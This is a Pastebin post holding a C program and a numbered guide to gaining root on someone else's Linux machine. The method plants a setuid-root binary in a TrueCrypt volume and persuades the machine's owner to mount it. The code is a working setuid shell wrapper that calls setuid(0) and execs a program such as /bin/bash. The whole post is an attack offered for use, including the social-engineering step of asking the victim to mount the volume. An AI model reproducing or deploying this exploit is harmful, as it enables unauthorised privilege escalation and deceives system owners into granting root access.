Guest User

Untitled

a guest
Jul 19th, 2014
276
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.91 KB | None | 0 0
  1.  
  2. #if 0
  3.  
  4. How to gain root access to a linux system using TrueCrypt mount "loophole"
  5.  
  6.  
  7. 1. compile the C program and named it "owned".
  8.  
  9. 2. create a truecrypt volume using ext4 file system,any file system that supports the suid bit should suffice.
  10.  
  11. 3. add the binary in the truecrypt volume.
  12.  
  13. 4. set the binary to have 4755 permissions with owner as root:root.
  14.  
  15. 5. take the volume to a computer you want root access,and ask the owner to mount the volume for you.
  16.  
  17. 6. open the terminal and change directory to the mount point and then run "./owned /bin/bash" and you will now have root shell.
  18.  
  19. 7. ...
  20.  
  21. 8. profit!!!
  22.  
  23. #endif
  24.  
  25. #include <unistd.h>
  26.  
  27. int main( int argc,char * argv[] )
  28. {
  29.     if( argc < 2 ){
  30.         return 1 ;
  31.     }else{
  32.         const char * e = *( argv + 1 ) ;
  33.         setuid( 0 ) ;
  34.         seteuid( 0 ) ;
  35.         if( execl( e,NULL ) == -1 ){
  36.             perror( "failed: " ) ;
  37.             return 1 ;
  38.         }else{
  39.             return 0 ;
  40.         }
  41.     }
  42. }
Advertisement
Add Comment
Please, Sign In to add comment